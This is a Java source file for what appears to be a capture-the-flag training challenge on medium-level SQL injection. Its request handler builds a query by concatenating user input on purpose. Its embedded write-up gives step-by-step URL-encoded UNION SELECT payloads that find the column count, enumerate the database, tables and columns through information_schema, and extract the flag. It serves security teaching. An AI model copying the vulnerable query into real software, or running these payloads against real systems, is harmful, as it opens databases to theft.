package tum0r.server.problem.web.sql_injection.union;

import tum0r.generate_code.database.DB;
import tum0r.model.ProblemInfoItem;
import tum0r.model.ProblemLevel;
import tum0r.model.ret.RetNews;
import tum0r.server.problem.ProblemBase;
import tum0r.webengine.annotation.Param;
import tum0r.webengine.annotation.Server;
import tum0r.webengine.utils.server.action.Action;

/**
 * 工程: Security<br>
 * 包: tum0r.server.problem.web.sql.injection<br>
 * 创建者: tum0r<br>
 * 创建时间: 2021/3/21 13:36<br>
 * <br>
 */
@Server(Mapping = "/security/problem/web/sql_injection/union/medium")
public class Medium extends ProblemBase {
    public Medium() {
        information.ProblemTitle = "中等级SQL注入";
        information.ProblemID = 2;
        information.Creator = "tum0r";
        information.ProblemLevel = ProblemLevel.MEDIUM;
        information.CreateTime = "2020/03/21";
        ProblemInfoItem problem = new ProblemInfoItem("problem", null);
        problem.addParameter("id", "String");
        information.ProblemInfo.add(problem);
    }

    @Override
    public void description(Action<String> action) {
        action.callBack("啪的一声就注入成功了，很快啊");
    }

    @Override
    public void tips(Action<String> action) {
        action.callBack("String sql = \"SELECT * FROM news WHERE ID = '\" + id + \"'\";");
    }

    @Override
    public void writeUp(Action<String> action) {
        String result = """
                0、测试id=3和id=1+2得到的结果不同，所以为字符型SQL注入
                                
                1、闭合单引号，并测试有多少个字段
                problem?id=9999'%20UNION%20SELECT%201%2C2%2C3%2C4%20--%20
                或
                problem?id=9999'%20UNION%20SELECT%201%2C2%2C3%2C4%23
                    
                2、获取数据库名
                problem?id=9999'%20UNION%20SELECT%201%2CDATABASE()%2C3%2C4%23
                                
                3、获取表名
                problem?id=9999'%20UNION%20SELECT%201%2CGROUP_CONCAT(TABLE_NAME)%2C3%2C4%20FROM%20information_schema.TABLES%20WHERE%20TABLE_SCHEMA%3D'security'%23
                                
                4、获取f1ag表的字段名
                problem?id=9999'%20UNION%20SELECT%201%2CGROUP_CONCAT(COLUMN_NAME)%2C3%2C4%20FROM%20information_schema.%60COLUMNS%60%20WHERE%20TABLE_NAME%3D'f1ag'%23
                                
                5、根据本题的ProblemID获取flag
                problem?id=9999'%20UNION%20SELECT%201%2CFla9%2C3%2C4%20FROM%20f1ag%20WHERE%20ProblemID%3D2%23
                """;
        action.callBack(result);
    }

    public void problem(@Param("id") String id, Action<String> action) {
        String sql = "SELECT * FROM news WHERE ID = '" + id + "'";

        RetNews news = null;
        try {
            news = DB._Write._DAO.selectObjectUnsafe(sql, RetNews.class);
        } catch (Exception ignored) {
        }

        action.callBack(news != null ? ("Title: " + news.Title + "\n" +
                "Content: " + news.Content + "\n") : "Not found");
    }
}
